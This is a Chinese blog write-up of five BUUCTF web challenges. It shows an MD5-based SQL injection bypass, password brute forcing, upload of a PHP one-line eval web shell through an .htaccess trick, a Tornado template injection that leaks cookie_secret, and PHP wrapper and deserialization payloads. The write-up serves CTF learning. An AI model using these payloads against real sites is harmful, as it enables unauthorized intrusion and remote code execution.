4.13BUUCTF -Easy MD5,admin,你传你[特殊字符]呢,easy_tornado,NiZhuanSiWei

[BJDCTF2020]Easy MD5

打开环境,没什么,源代码也没有什么,随便输入1,发现页面url出现了password,F12查看一下网络部分的请求头(burp suite抓包也可以)

在这里插入图片描述

思路

  • 看到Hint里给了一个sql语句是password=,根据提示知道,要在输入框中传入字符,经过md5函数加密之后,拼接在password后面,构成SQL注入的语句(总结就是我们需要利用hint语句,使hint中sql语句为真,也就是password= ’ ’ or True(这里的True用非零数字代替))
  • 说明我们需要输入一个密码,经过两层转换(1.MD5函数加密后形成hex值,2.mysql将hex值转换成ascii)后为真的密码,但是我们并不知道正确密码。这里需要利用md5绕过,让sql语句(hint语句)变成如下形式select * from ‘admin’ where password=‘’ or ‘1,这样就使password永真通过密码的验证
  • 这里通过百度检索到一个神奇的字符串:ffifdyop 这个字符串被 md5 哈希了之后会变成 276f722736c95d99e921722cf9ed621c,而 Mysql 刚好又会把哈希值转成 ascii 解释,这个字符串前几位刚好是 ’ or '6(该字符串md5加密会返回 'or’6 (其实就是一些乱码和不可见字符,这里只要第一位是非零数字即可被判定为True,后面的会在MySQL将其转换成整型比较时丢掉))
    参考博客

做题

输入ffifdyopde得到如下页面
在这里插入图片描述
翻看源代码
在这里插入图片描述
php的弱比较直接使用数组绕过

?a[]=1&b[]=2

跳转到以下页面
在这里插入图片描述
这里是php的强比较和post传参,比较值和类型
使用param1[]=1&param2[]=2
在这里插入图片描述

[HCTF 2018]admin

选择register,注册admin,发现已经被注册过了,那就可以拿admin去登录,用户名为admin,密码爆破以下,使用弱密码
在这里插入图片描述
可以看出密码123爆破出来的长度不同

在这里插入图片描述
使用123登录拿到flag
在这里插入图片描述

[MRCTF2020]你传你🐎呢

思路

前端(关掉js)–>MIME(修改)–>文件内容(文件头)–>文件后缀名

上传文件内容

<?php @eval($_POST['cmd']);?>

步骤

  • 查看源代码没有发现前端限制的代码
  • 修改了MIME之后还是不能上传成功
  • 验证有没有过滤文件内容:直接上传aa.png文件(就是一句话木马,但是后缀名改为png,这里只能用png,因为对很多后缀名都进行了限制),如果成功上传就是没有过滤文件内容,上传后回显出这个路径,说明没有对文件内容进行检查
    /var/www/html/upload/a7961a857b9fed1129c3e602fc143681/aa.png
    在这里插入图片描述
  • 在前一步就发现这个题对很多后缀名都进行了限制
    先使用phtml后缀名(包含php代码的HTML文件,会按照php解析)上传,还是不行
    看的别人的wp学到了一种方法利用apache的.htaccess配置文件
    当.htaccess文件被放置在一个 "通过Apache Web服务器加载 "的目录中时,.htaccess文件会被Apache Web服务器软件检测并执行。这些.htaccess文件可以用来改变Apache Web服务器软件的配置,以启用/禁用Apache Web服务器软件所提供的额外功能和特性。
AddType application/x-httpd-php .png//意思是将同目录下的所有png文件当作php执行。

记得修改后缀名
在这里插入图片描述
在之前为了验证是否存在文件内容检查,我们已经上传了一个aa.png图片,所以直接访问一下
在这里插入图片描述
使用蚁剑连接一下,路径是
http://ac26bb09-452b-47ff-aa78-8a42aec299d1.node5.buuoj.cn:81/upload/a7961a857b9fed1129c3e602fc143681/aa.png
在这里插入图片描述
在这里插入图片描述

[护网杯 2018]easy_tornado

信息提取

在这里插入图片描述
查看/flag.txt
在这里插入图片描述
flag在 /fllllllllllllag 中,同时我们观察到无论访问哪个文件,url总是为file?filename=/xxx&filehash=xxx
再通过hints.txt的提示,不难得出 filehash=md5(cookie_secret+md5(filename))
现在filename已经有了 /fllllllllllllag 还需要cookie_secret

整合信息

没有什么信息了,但是题目中的tornado我还没有用,不知道什么意思,搜索一下
在这里插入图片描述

因为render()是tornado里的函数,可以生成html模板。是一个渲染函数 ,就是一个公式,能输出前端页面的公式。tornado是用Python编写的Web服务器兼Web应用框架,简单来说就是用来生成模板的东西。和Python相关,和模板相关,就可以推测这可能是个ssti注入题了。

参考wpwp
扩展:SSTI注入 SSTI就是服务器端模板注入(Server-Side Template Injection),也给出了一个注入的概念。 服务端模板:就是模板引擎根据数据自动生成前端页面。SSTI也是注入类的漏洞。SSTI获取了一个输入,然后在后端的渲染处理上进行了语句的拼接,然后执行。错误的执行了用户输入。类比于 sql注入。当然还是和sql注入有所不同的,SSTI利用的是现在的网站模板引擎,主要针对python、php、java的一些网站处理框架,比如Python的jinja2mako tornado django,php的smarty twig,java的jadevelocity。当这些框架对运用渲染函数生成html的时候会出现SSTI的问题。

如果服务端将用户的输入作为了模板的一部分,那么在页面渲染时也必定会将用户输入的内容进行模版编译和解析最后输出。模板注入必须通过传输型如{{xxx}}的执行命令
基于此,我们尝试输入:/error?msg={{1}},输出1,可以确定是模板注入
将url修改为这样,再回车,会出现不同的东西
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在tornado模板中,存在一些可以访问的快速对象,这里用到的是handler.settings,handler 指向RequestHandler,而RequestHandler.settings又指向self.application.settings,所以handler.settings就指向RequestHandler.application.settings了,这里面就是我们的一些环境变量。(可以把handler.settings理解为tornado模板中内置的环境配置信息名称,通过handler.settings可以访问到环境配置的一些信息,看到tornado模板基本上可以通过handler.settings一把梭)

在这里插入图片描述

md5加密

/fllllllllllllag–>3bf9f6cf685a6dd8defadabfb41a03a1
2a529456-697e-47af-84fd-0efb56ccb88f3bf9f6cf685a6dd8defadabfb41a03a1–>2da8b951225c294e5cc75c0d078da032
在这里插入图片描述
访问http://c5dba1b7-0ee9-4cb7-ba88-526f16edcb73.node5.buuoj.cn:81/file?filename=/fllllllllllllag&filehash=2da8b951225c294e5cc75c0d078da032
在这里插入图片描述

[ZJCTF 2019]NiZhuanSiWei

text不为空,且 file_get_contents() 读取的返回值为 welcome to the zjctf,file_get_contents()函数的功能是读取文件内容到一个字符串,但这里没有一个文件,而$text是一个变量,file_get_contents不能读取一个变量。直接给text赋值 text=welcome to the zjctf 的话,没有回显说明没成功。很明显,需要用伪协议绕过,可以用php://input和data://伪协议,这里使用data://,构造:?text=data://text/plain,welcome to the zjctf

看第二个if:首先是file不能有flag字符。提示了有一个 useless.php ,因为是文件包含问题,用PHP伪协议中的php://filter读取文件,构造file=php://filter/read=convert.base64-encode/resource=useless.php

页面回显出
在这里插入图片描述
解码,回显
在这里插入图片描述
在 useless.php 中的注释,是在暗示 flag 位于 flag.php 文件中,我们将 file 改为 flag.php 即可

<?php
class Flag
{
    public $file = "flag.php";
}
$obj = new Flag();
echo urlencode(serialize($obj));

如果file继续用前面伪协议读取的话,后面的 password 会无回显无法得到flag,将 file 改为 uselephp,让 include 执行 useless.php,从而引入 Flag 类,最后访问即可得到 flag
在这里插入图片描述
O%3A4%3A%22Flag%22%3A1%3A%7Bs%3A4%3A%22file%22%3Bs%3A8%3A%22flag.php%22%3B%7D

在这里插入图片描述

查看源码

在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值